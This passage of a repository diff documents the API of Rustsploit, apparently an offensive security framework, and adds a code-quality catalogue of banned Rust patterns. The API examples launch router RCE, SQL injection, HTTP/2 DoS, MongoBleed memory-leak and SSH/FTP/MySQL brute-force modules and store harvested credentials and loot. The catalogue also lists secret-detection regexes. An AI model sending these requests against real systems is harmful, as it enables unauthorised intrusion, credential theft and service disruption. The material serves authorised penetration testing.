"prompts": {
|
||||
"username": "admin",
|
||||
"password": "admin123",
|
||||
"command": "id"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Example: Credential Module via API
|
||||
|
||||
```json
|
||||
{
|
||||
"module": "creds/generic/ftp_bruteforce",
|
||||
"target": "10.10.10.10",
|
||||
"prompts": {
|
||||
"port": "21",
|
||||
"username_wordlist": "/opt/wordlists/users.txt",
|
||||
"password_wordlist": "/opt/wordlists/passwords.txt",
|
||||
"concurrency": "500",
|
||||
"stop_on_success": "y",
|
||||
"save_results": "y",
|
||||
"output_file": "ftp_results.txt",
|
||||
"verbose": "n",
|
||||
"combo_mode": "n"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Example: Database Bruteforce via API
|
||||
|
||||
```json
|
||||
{
|
||||
"module": "creds/generic/mysql_bruteforce",
|
||||
"target": "10.10.10.10",
|
||||
"prompts": {
|
||||
"port": "3306",
|
||||
"use_defaults": "y",
|
||||
"username_wordlist": "/opt/wordlists/users.txt",
|
||||
"password_wordlist": "/opt/wordlists/passwords.txt",
|
||||
"concurrency": "20",
|
||||
"stop_on_success": "y",
|
||||
"save_results": "y",
|
||||
"output_file": "mysql_results.txt"
|
||||
}
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,448 @@
|
||||
# API Usage Examples
|
||||
|
||||
Practical workflows for interacting with the Rustsploit WebSocket API.
|
||||
|
||||
> Start the server first: `cargo run -- --api`
|
||||
>
|
||||
> **Note:** All API endpoints (except `/health`) require a PQ WebSocket session. The examples below show the JSON message format sent over the WebSocket connection — not direct HTTP requests. Authentication is via PQ identity keys established during the handshake. The `Authorization: Bearer` headers shown are **legacy placeholders** retained for readability — they are not used.
|
||||
|
||||
---
|
||||
|
||||
## Health Check (No Auth)
|
||||
|
||||
```bash
|
||||
curl http://localhost:8080/health
|
||||
```
|
||||
|
||||
**Response:**
|
||||
```json
|
||||
{"status": "ok", "timestamp": "2026-03-17T14:00:00Z"}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## List Available Modules
|
||||
|
||||
```bash
|
||||
curl -H "Authorization: Bearer my-secret-key" \
|
||||
http://localhost:8080/api/modules
|
||||
```
|
||||
|
||||
**Response (truncated):**
|
||||
```json
|
||||
{
|
||||
"modules": [
|
||||
"exploits/heartbleed",
|
||||
"exploits/mongo/mongobleed",
|
||||
"scanners/port_scanner",
|
||||
"scanners/dir_brute",
|
||||
"creds/generic/ssh_bruteforce"
|
||||
],
|
||||
"count": 363,
|
||||
"request_id": "abc123",
|
||||
"timestamp": "2026-03-17T14:01:00Z",
|
||||
"duration_ms": 2
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Get Module Details
|
||||
|
||||
```bash
|
||||
curl -H "Authorization: Bearer my-secret-key" \
|
||||
http://localhost:8080/api/module/exploits/sample_exploit
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Run a Port Scan
|
||||
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Run an Exploit
|
||||
|
||||
All exploit modules support full API mode via the `prompts` field. When running
|
||||
via the API, every interactive prompt can be pre-filled so modules never block
|
||||
waiting on stdin.
|
||||
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"module": "exploits/heartbleed", "target": "10.10.10.10"}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
### Exploit with Prompts
|
||||
|
||||
```bash
|
||||
# TP-Link Archer RCE — supply credentials and command via API
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"module": "exploits/routers/tplink/tplink_archer_rce_cve_2024_53375",
|
||||
"target": "192.168.1.1",
|
||||
"prompts": {
|
||||
"username": "admin",
|
||||
"password": "admin123",
|
||||
"command": "id"
|
||||
}
|
||||
}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
```bash
|
||||
# Zabbix SQL Injection — pre-select payload mode and credentials
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"module": "exploits/webapps/zabbix/zabbix_7_0_0_sql_injection",
|
||||
"target": "10.10.10.10",
|
||||
"prompts": {
|
||||
"username": "Admin",
|
||||
"password": "zabbix",
|
||||
"mode": "3"
|
||||
}
|
||||
}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
```bash
|
||||
# HTTP/2 Rapid Reset DoS test
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"module": "exploits/frameworks/http2/cve_2023_44487_http2_rapid_reset",
|
||||
"target": "10.10.10.10",
|
||||
"prompts": {
|
||||
"port": "443",
|
||||
"use_ssl": "y",
|
||||
"num_streams": "500",
|
||||
"delay_ms": "1",
|
||||
"run_baseline": "y",
|
||||
"confirm_permission": "y"
|
||||
}
|
||||
}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Run a Credential Module
|
||||
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"module": "creds/generic/ssh_bruteforce",
|
||||
"target": "10.10.10.10",
|
||||
"prompts": {
|
||||
"port": "22",
|
||||
"username_wordlist": "/opt/wordlists/users.txt",
|
||||
"password_wordlist": "/opt/wordlists/passwords.txt",
|
||||
"concurrency": "100",
|
||||
"stop_on_success": "y",
|
||||
"save_results": "y",
|
||||
"output_file": "ssh_results.txt"
|
||||
}
|
||||
}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Run MongoBleed (CVE-2025-14847)
|
||||
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"module": "exploits/mongo/mongobleed",
|
||||
"target": "10.10.10.10:27017",
|
||||
"prompts": {
|
||||
"mode": "2",
|
||||
"port": "27017",
|
||||
"output_file": "leaked_data.bin"
|
||||
}
|
||||
}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Global Options
|
||||
|
||||
```bash
|
||||
# Set global options
|
||||
curl -X POST http://localhost:8080/api/options \
|
||||
-H "Authorization: Bearer YOUR_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"port": "8080", "concurrency": "50"}'
|
||||
|
||||
# List global options
|
||||
curl http://localhost:8080/api/options \
|
||||
-H "Authorization: Bearer YOUR_KEY"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Credential Store
|
||||
|
||||
```bash
|
||||
# Add a credential
|
||||
curl -X POST http://localhost:8080/api/creds \
|
||||
-H "Authorization: Bearer YOUR_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"host": "192.168.1.1", "port": 22, "service": "ssh", "username": "admin", "secret": "password123", "cred_type": "password"}'
|
||||
|
||||
# List all credentials
|
||||
curl http://localhost:8080/api/creds \
|
||||
-H "Authorization: Bearer YOUR_KEY"
|
||||
|
||||
# Delete a credential
|
||||
curl -X DELETE http://localhost:8080/api/creds \
|
||||
-H "Authorization: Bearer YOUR_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"id": "abc12345"}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Workspace & Host Tracking
|
||||
|
||||
```bash
|
||||
# Add a host
|
||||
curl -X POST http://localhost:8080/api/hosts \
|
||||
-H "Authorization: Bearer YOUR_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"ip": "192.168.1.1", "hostname": "router.local", "os_guess": "Linux"}'
|
||||
|
||||
# List hosts
|
||||
curl http://localhost:8080/api/hosts -H "Authorization: Bearer YOUR_KEY"
|
||||
|
||||
# Add a service
|
||||
curl -X POST http://localhost:8080/api/services \
|
||||
-H "Authorization: Bearer YOUR_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"host": "192.168.1.1", "port": 22, "protocol": "tcp", "service_name": "ssh", "version": "OpenSSH 8.9"}'
|
||||
|
||||
# List services
|
||||
curl http://localhost:8080/api/services -H "Authorization: Bearer YOUR_KEY"
|
||||
|
||||
# Switch workspace
|
||||
curl -X POST http://localhost:8080/api/workspace \
|
||||
-H "Authorization: Bearer YOUR_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"name": "engagement_2"}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Loot Management
|
||||
|
||||
```bash
|
||||
# Store loot
|
||||
curl -X POST http://localhost:8080/api/loot \
|
||||
-H "Authorization: Bearer YOUR_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"host": "192.168.1.1", "loot_type": "config", "description": "Router config dump", "data": "hostname router1\ninterface eth0..."}'
|
||||
|
||||
# List loot
|
||||
curl http://localhost:8080/api/loot -H "Authorization: Bearer YOUR_KEY"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Background Jobs
|
||||
|
||||
```bash
|
||||
# List running jobs
|
||||
curl http://localhost:8080/api/jobs -H "Authorization: Bearer YOUR_KEY"
|
||||
|
||||
# Kill a job
|
||||
curl -X DELETE http://localhost:8080/api/jobs/1 -H "Authorization: Bearer YOUR_KEY"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Export Engagement Data
|
||||
|
||||
```bash
|
||||
# Export all data as JSON
|
||||
curl http://localhost:8080/api/export?format=json -H "Authorization: Bearer YOUR_KEY"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Shell Command Endpoint (Full Shell Parity)
|
||||
|
||||
The `/api/shell` endpoint supports **every interactive shell command**. Use the
|
||||
`commands` array to chain multiple commands in a single request.
|
||||
|
||||
### Basic Shell Commands
|
||||
|
||||
```bash
|
||||
# List all modules via shell endpoint
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"command": "modules"}'
|
||||
|
||||
# Search for SSH modules
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"command": "find ssh"}'
|
||||
|
||||
# Get module info
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"command": "info exploits/heartbleed"}'
|
||||
```
|
||||
|
||||
### Chained Workflow (Select, Target, Run)
|
||||
|
||||
```bash
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commands": [
|
||||
"use scanners/port_scanner",
|
||||
"set target 192.168.1.1",
|
||||
"run"
|
||||
]
|
||||
}'
|
||||
```
|
||||
|
||||
### Vulnerability Check
|
||||
|
||||
```bash
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commands": [
|
||||
"use exploits/heartbleed",
|
||||
"set target 10.10.10.10",
|
||||
"check"
|
||||
]
|
||||
}'
|
||||
```
|
||||
|
||||
### Global Options via Shell
|
||||
|
||||
```bash
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commands": [
|
||||
"setg port 8080",
|
||||
"setg concurrency 50",
|
||||
"show_options"
|
||||
]
|
||||
}'
|
||||
```
|
||||
|
||||
### Data Management via Shell
|
||||
|
||||
```bash
|
||||
# Add credentials (inline — no interactive prompts in API mode)
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"command": "creds add 192.168.1.1 22 ssh admin password123 password"}'
|
||||
|
||||
# Search credentials
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"command": "creds search ssh"}'
|
||||
|
||||
# Add host and service
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commands": [
|
||||
"hosts add 192.168.1.1",
|
||||
"services add 192.168.1.1 22 tcp ssh OpenSSH_8.9",
|
||||
"notes 192.168.1.1 Possible default credentials"
|
||||
]
|
||||
}'
|
||||
|
||||
# Workspace management
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"command": "workspace pentest_2026"}'
|
||||
|
||||
# Loot management
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"command": "loot add 192.168.1.1 config router-config hostname_router1"}'
|
||||
|
||||
# Export data
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"command": "export json engagement_report.json"}'
|
||||
```
|
||||
|
||||
### Background Jobs via Shell
|
||||
|
||||
```bash
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commands": [
|
||||
"jobs",
|
||||
"jobs clean"
|
||||
]
|
||||
}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Full Workflow Cheatsheet
|
||||
|
||||
```bash
|
||||
# 1. Start server
|
||||
cargo run -- --api
|
||||
|
||||
# 2. Health check
|
||||
curl http://localhost:8080/health
|
||||
|
||||
# 3. List modules
|
||||
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/modules
|
||||
|
||||
# 4. Port scan
|
||||
curl -X POST -H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
|
||||
http://localhost:8080/api/run
|
||||
|
||||
# 5. Check status
|
||||
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/status
|
||||
|
||||
# 6. View IPs
|
||||
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/ips
|
||||
```
|
||||
@@ -0,0 +1,2 @@
|
||||
# About Me
|
||||
|
||||
@@ -0,0 +1,417 @@
|
||||
# Bad-Pattern Catalogue
|
||||
|
||||
> Run `scripts/audit-bad-patterns.sh` to scan the whole tree, or
|
||||
> `scripts/audit-bad-patterns.sh --strict --files <list>` to gate a
|
||||
> module / PR. Latest snapshot: [`audit-report.md`](audit-report.md).
|
||||
|
||||
A complete checklist of patterns that must not appear in module code. Every
|
||||
entry has:
|
||||
|
||||
- **Pattern (regex)** — what `grep -E` finds
|
||||
- **Why it's bad** — what concretely goes wrong if it slips in
|
||||
- **Fix** — the explicit alternative
|
||||
|
||||
The full reproducer at the bottom runs every regex in one shot and reports a
|
||||
zero-line summary on a clean tree. CI / pre-merge review should treat any
|
||||
non-zero count as a hard failure.
|
||||
|
||||
> **Scope.** Module code under `src/modules/exploits/`, `src/modules/scanners/`,
|
||||
> `src/modules/creds/`, `src/modules/osint/`, `src/modules/plugins/`. The
|
||||
> framework's own DoS / payload-generation crates have legitimate `unsafe`
|
||||
> blocks and raw socket calls that this catalogue does not constrain.
|
||||
|
||||
---
|
||||
|
||||
## A. Panicking error handling — banned outright
|
||||
|
||||
| # | Pattern (regex) | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| A1 | `\.unwrap\(\)` | Panics on `Err`/`None`, takes the whole shell down. | Match explicitly or use `?` with `anyhow::Context`. |
|
||||
| A2 | `\.expect\(` | Same as `.unwrap()` plus a static message. | `with_context(\|\| format!("...{}...", info))`. |
|
||||
| A3 | `\.unwrap_or_default\(\)` | Silently turns `Err` into `T::default()` — body becomes `""`, status becomes `0`. Lies about what happened on the wire. | Match arms returning `Err(anyhow!(...))` or propagate via `?` with `Context`. |
|
||||
| A4 | `\.unwrap_or\b` | Even on `Option`, hides the None case behind a magic literal (`"?"`, `""`). Use a self-documenting fallback. | `match opt { Some(x) => x, None => "<documented missing case>" }`. |
|
||||
| A5 | `\.unwrap_or_else\(` | Same shape as A4 with a closure. | Match arms with explicit None handling. |
|
||||
| A6 | `\.parse\(\)\.unwrap`, `\.parse::<[^>]+>\(\)\.unwrap` | Parse failures panic. | `parse().with_context(\|\| format!("parse {} as {}", input, "u16"))?`. |
|
||||
| A7 | `\.try_into\(\)\.unwrap` | TryFrom failures panic. | `try_into().with_context(\|\| ...)?`. |
|
||||
| A8 | `\.first\(\)\.unwrap`, `\.last\(\)\.unwrap`, `\.next\(\)\.unwrap`, `\.iter\(\)…\.unwrap` | Iterator end-of-stream panics. | `match it.next() { Some(x) => x, None => return Err(anyhow!("...")) }`. |
|
||||
| A9 | `\.chars\(\)\.next\(\)\.unwrap`, `\.split\([^)]*\)\.next\(\)\.unwrap` | Empty-string panics. | Same as A8. |
|
||||
| A10 | `\.position\(.*\)\.unwrap`, `\.iter\(\)\.find\(.*\)\.unwrap` | Search-miss panics. | Match on `Option`. |
|
||||
| A11 | `\.read_to_string\(.*\)\.unwrap` | I/O failure panics. | `with_context(\|\| format!("read {}", path))?`. |
|
||||
| A12 | `\.lock\(\)\.unwrap` | Poison panics. | Use `tokio::sync::Mutex` (no poison) or match on the `PoisonError` and either reset or surface. |
|
||||
| A13 | `\.expect_err`, `\.unwrap_err` | Same panic shape, on the Err side. | Match the `Result` directly. |
|
||||
| A14 | `panic!\(`, `unreachable!\(`, `todo!\(`, `unimplemented!\(` | Unconditional crash. | Return `Result::Err` with a descriptive message. |
|
||||
| A15 | `\bassert!\(`, `\bassert_eq!\(`, `\bassert_ne!\(` | Production panic on bad input. | Validate at the boundary and return `Err`. Reserve assertions for tests under `#[cfg(test)]`. |
|
||||
|
||||
## B. Silent error swallowing — banned outright
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| B1 | `Err\(_\)` (anonymous) | Drops the error value. Even on `tokio::time::error::Elapsed`, the `Display` impl ("deadline has elapsed") tells the operator *why* the call failed. | `Err(e) => mprintln!("{} timed out: {}", "[-]".red(), e)`. |
|
||||
| B2 | `Err\(_[a-zA-Z]\w*\)` (underscore-prefixed binding) | Same as B1 — the leading `_` is a "compiler shut up about unused" hack. | Bind without the underscore and `format!` it. |
|
||||
| B3 | `if let Err\(_` | Same as B1. | Capture the error. |
|
||||
| B4 | `if let Ok\(` (no `else`) | Drops `Err` silently — the module reports success even though the host was unreachable. | `match …` with explicit `Err(e) => return Err(anyhow!("{:#}", e))`. |
|
||||
| B5 | `let\s+_\s*=` | Discards a `Result`. The function "succeeded" because nothing checked. | `if let Err(e) = … { mprintln!(…) }` or `?`. |
|
||||
| B6 | `let\s+_[a-zA-Z]\w*\s*=.*\.await` | The `_<name>` prefix suppresses unused warnings on a side-effect call. The result is propagated via `?`, so the binding adds nothing. | Bare `func(...).await?;` (no `let`). |
|
||||
| B7 | `\.map_err\(\|_\|`, `\.or_else\(\|_\|` | Throws away the original error type. | Capture the error and wrap it: `.map_err(\|e\| anyhow!("...: {}", e))`. |
|
||||
| B8 | `\.to_str\(\)\.ok\(\)` | Header-value utf8 failure becomes `None` and then `""` via `.unwrap_or("")` — the swallow is invisible. | `crate::utils::header_string(headers, "name")` (returns `"<non-utf8>"` sentinel for non-utf8 — the swallow shows up). |
|
||||
| B9 | `\.json\([^)]*\)\.await\.ok\(\)`, `\.send\(\)\.await\.ok\(\)`, `\.text\(\)\.await\.ok\(\)` | Discards transport / decode errors. | `match …await { Ok(v) => …, Err(e) => mprintln!(…); return Ok(()); }` |
|
||||
|
||||
## C. Compiler-warning-suppression — banned outright
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| C1 | `#\[allow\(` | Hides real lints (`dead_code`, `unused_imports`, `clippy::*`). If the code is dead, delete it; if a warning is wrong, fix the *cause*. | Remove the attribute and address the underlying warning. |
|
||||
| C2 | `#\[deny\(` | Project-wide lint-policy belongs in `Cargo.toml` / `[lints]`, not per-module. | Move to crate root. |
|
||||
| C3 | `#\[ignore\b` | Skipped tests rot. | Delete the test or fix it. |
|
||||
|
||||
## D. Panic vectors — banned in modules
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| D1 | Direct array index `\b[a-zA-Z_]\w*\[[0-9]+\]` and `\b[a-zA-Z_]\w*\[[a-zA-Z_]\w*\]` | OOB panic. Even when the index "can't" be wrong, a future refactor can break the invariant. | `arr.get(i)` and match. For first byte: `slice.first()`. |
|
||||
| D2 | Direct slice range `\&[a-zA-Z_]\w*\[\.\.\w+\]` / `\&[a-zA-Z_]\w*\[\w+\.\.\]` / `\&[a-zA-Z_]\w*\[\w+\.\.\w+\]` | OOB panic. `tokio::AsyncRead::read` contractually returns `n <= buf.len()`, but the panic is still in your binary. | `buf.get(..n).context(…)?`. |
|
||||
| D3 | `\.split_at\(` | Panics if index > `len`. | `split_at_checked` (Rust 1.80+) or guard manually. |
|
||||
| D4 | `\.chars\(\)\.nth\(` | Off-by-one panics. | Use the `Option` it returns. |
|
||||
| D5 | `vec!\[…\]\[0\]` | Indexing a literal vec (rare, and almost always wrong). | Pattern-match. |
|
||||
|
||||
## E. Numeric conversions — explicit only
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| E1 | `\bas\s+(u\|i)(8\|16\|32\|64)\b`, `\bas\s+(u\|i)size\b` | Truncates silently. `as u16` of an `i64=70000` becomes `4464`. | `u16::try_from(x).with_context(\|\| ...)?`. For widening (`u16 -> i64`) use `i64::from(x)` — conversion is explicit and infallible. |
|
||||
| E2 | `\bas\s+(f32\|f64)\b` | Float conversion can round. | `f64::from(x)` for widenings; explicit rounding routine for narrowings. |
|
||||
| E3 | `\bas\s+\*const\b`, `\bas\s+\*mut\b` | Pointer cast — UB if mis-typed. | Banned. Use `&` / `&mut` references or `Box::into_raw` paths inside `unsafe` only. |
|
||||
| E4 | `\btransmute\(`, `\bextern\s+"C"`, `\bunsafe\s*\{`, `\bunsafe\s+fn\b` | Unsafe ops in modules are a layering violation; the framework concentrates `unsafe` in `src/native/`. | Refactor; if you really need it, put it under `src/native/` with the existing safety contract. |
|
||||
|
||||
## F. Async / blocking pitfalls — banned in modules
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| F1 | `std::thread::sleep` | Blocks the executor thread. | `tokio::time::sleep`. |
|
||||
| F2 | `std::process::Command` | Synchronous fork+exec. | `tokio::process::Command`. |
|
||||
| F3 | `std::fs::File`, `std::fs::read`, `std::fs::write` | Blocks the executor. | `tokio::fs::*`. |
|
||||
| F4 | `std::net::TcpStream`, `std::net::UdpSocket` | Blocking sockets. | `tokio::net::*`. |
|
||||
| F5 | `std::io::stdin\(\)` | Blocks. Modules also shouldn't read stdin directly — use `cfg_prompt_*`. | `cfg_prompt_*` from `crate::utils`. |
|
||||
| F6 | `\.lock\(\)` on `std::sync::Mutex` followed by `\.await` later in the scope | Deadlock risk; the lock is held across the await point. | `tokio::sync::Mutex` (lock guard releases at drop and the runtime can suspend safely). |
|
||||
| F7 | `tokio::spawn\(` without holding the `JoinHandle` | Fire-and-forget leak; errors and panics are swallowed. | Hold the handle and `.await` it, or `.abort_handle()` when intentional. |
|
||||
|
||||
## G. Logging & output — modules use the framework macros
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| G1 | `\beprintln!\(` (where the source is not `mprintln`/`meprintln`) | Bypasses the framework's spool (`docs/Interactive-Shell.md`). | `crate::meprintln!(...)` for stderr, `crate::mprintln!(...)` for stdout. |
|
||||
| G2 | `\bdbg!\(` | Debugging macro left in. | Delete. |
|
||||
| G3 | `format!\(.*"\{:\?\}".*\b[eE]rr\b` | Debug-format on errors loses the `Display` impl that gives a clean human message. | `format!("...: {}", err)` or `format!("...: {:#}", err)` for full chain. |
|
||||
| G4 | `\.context\("")\|\.context\("\?"\)` | Empty / unhelpful context — adds nothing to the error chain. | `with_context(\|\| format!("…{}…", info))`. |
|
||||
|
||||
## G2. Network layer — go through the framework wrappers
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| G2.1 | `TcpStream::connect\(`, `tokio::net::TcpStream::connect\(` | Bypasses source port binding (`setg source_port`). | `crate::utils::network::tcp_connect_str` or `tcp_connect_addr`. |
|
||||
| G2.2 | `UdpSocket::bind\("0.0.0.0:0"\)`, `tokio::net::UdpSocket::bind\("0.0.0.0:0"\)` | Same — bypasses source port binding. | `crate::utils::udp_bind(Some(ip))`. |
|
||||
| G2.3 | `AsyncFtpStream::connect\(` (without `connect_with_stream`) | suppaftp creates its own TCP connection, bypassing source port. | `tcp_connect_str` → `AsyncFtpStream::connect_with_stream(tcp)`. |
|
||||
| G2.4 | `Telnet::connect\(` (without `from_stream`) | telnet crate creates its own TCP connection. | `blocking_tcp_connect` → `Telnet::from_stream(Box::new(tcp), buf)`. |
|
||||
| G2.5 | `FtpStream::connect\(` (without `connect_with_stream`) | Blocking suppaftp bypasses source port. | `blocking_tcp_connect` → `FtpStream::connect_with_stream(tcp)`. |
|
||||
|
||||
## H. HTTP layer — go through the framework client
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| H1 | `reqwest::Client::new\(\)`, `reqwest::Client::builder\(\)` | Bypasses `crate::utils::build_http_client`, which sets timeout, TLS policy, redirect rules, source-port awareness, and the global cookie-store decision. | `crate::utils::build_http_client(Duration::from_secs(N))`. |
|
||||
| H2 | `\.send\(\)\.await\?` (no `Context`) | The error has no path / module attribution; debugging mass scans is hopeless. | `.send().await.with_context(\|\| format!("GET {} failed", url))?`. |
|
||||
| H3 | `\.text\(\)\.await\?` (no `Context`) | Same. | `.text().await.context("read body")?` or use `crate::utils::http_get_status_body`. |
|
||||
| H4 | `format!("{:?}", v).contains("HTTP/2")` (debug-string-compare on `reqwest::Version`) | Fragile, no compile-time check. | `v == reqwest::Version::HTTP_2`. |
|
||||
|
||||
## I. Iterator collect / Result glitches
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| I1 | `\.collect::<Result<Vec<_>,\s*_>>\(\)\.unwrap` | Aggregated `Result` panics on first error. | `let xs = …collect::<Result<Vec<_>, _>>()?;`. |
|
||||
| I2 | `\.zip\([^)]*\)\.unwrap` | Zip mismatch panic. | Length-check first. |
|
||||
|
||||
## J. Style / safety
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| J1 | `s == ""`, `s\.len\(\) == 0`, `s\.len\(\) > 0` | Should use `is_empty()`. | `s.is_empty()` / `!s.is_empty()`. |
|
||||
| J2 | `String::from\(format!` | Pointless wrapping. | `format!(...)` already returns `String`. |
|
||||
| J3 | `\.clone\(\)\s*\.clone`, `\.to_string\(\)\s*\.to_string`, `\.to_owned\(\)\s*\.to_owned` | Double allocation. | Single call. |
|
||||
| J4 | `XXXXXX`, `TODO`, `FIXME`, `HACK\b` | Placeholder URLs / unfinished work. | Replace with real value or remove. |
|
||||
| J5 | `Bearer\s+[A-Za-z0-9_.-]{40,}`, `sk-[A-Za-z0-9]{20,}`, `AKIA[A-Z0-9]{16}`, hardcoded `"admin"\s*,\s*"admin"` and friends | Embedded secrets in source / placeholder pairs that look like secrets to scanners. | Prompt for values via `cfg_prompt_required` / read from env. |
|
||||
| J6 | `Box<dyn` in module returns | Module trait-objects are unnecessary in this codebase; `anyhow::Error` is the framework's error type. | `anyhow::Result<T>` / `anyhow::Error`. |
|
||||
|
||||
## K0. Mass-scan compatibility
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| K0.1 | Hardcoded output filenames like `"results.txt"`, `"config.bin"` without target in name | Concurrent fan-out tasks clobber each other's files. | `format!("results_{}.txt", safe_target)` where `safe_target = target.replace(['/', ':', '.', '[', ']'], "_")`. |
|
||||
| K0.2 | Interactive REPL loops without `is_batch_mode()` guard | REPL spins forever on cached prompts under mass scan, or N concurrent REPLs flood the terminal. | `if crate::utils::is_batch_mode() { anyhow::bail!("REPL not supported in mass-scan mode."); }` |
|
||||
| K0.3 | `stdin().read_line()` or blocking stdin reads in module code | Blocks under mass scan; N concurrent tasks all wait on one stdin. | `cfg_prompt_*` from `crate::utils` (returns cached values in batch mode). |
|
||||
| K0.4 | `let _ = timeout;` or `_timeout` to suppress unused timeout parameter | Probe ignores user-configured timeout — hardcoded duration used instead. | Use the timeout parameter: wrap operations with `tokio::time::timeout(timeout, ...)` or pass it to connect functions. |
|
||||
|
||||
## K. Resource handling
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
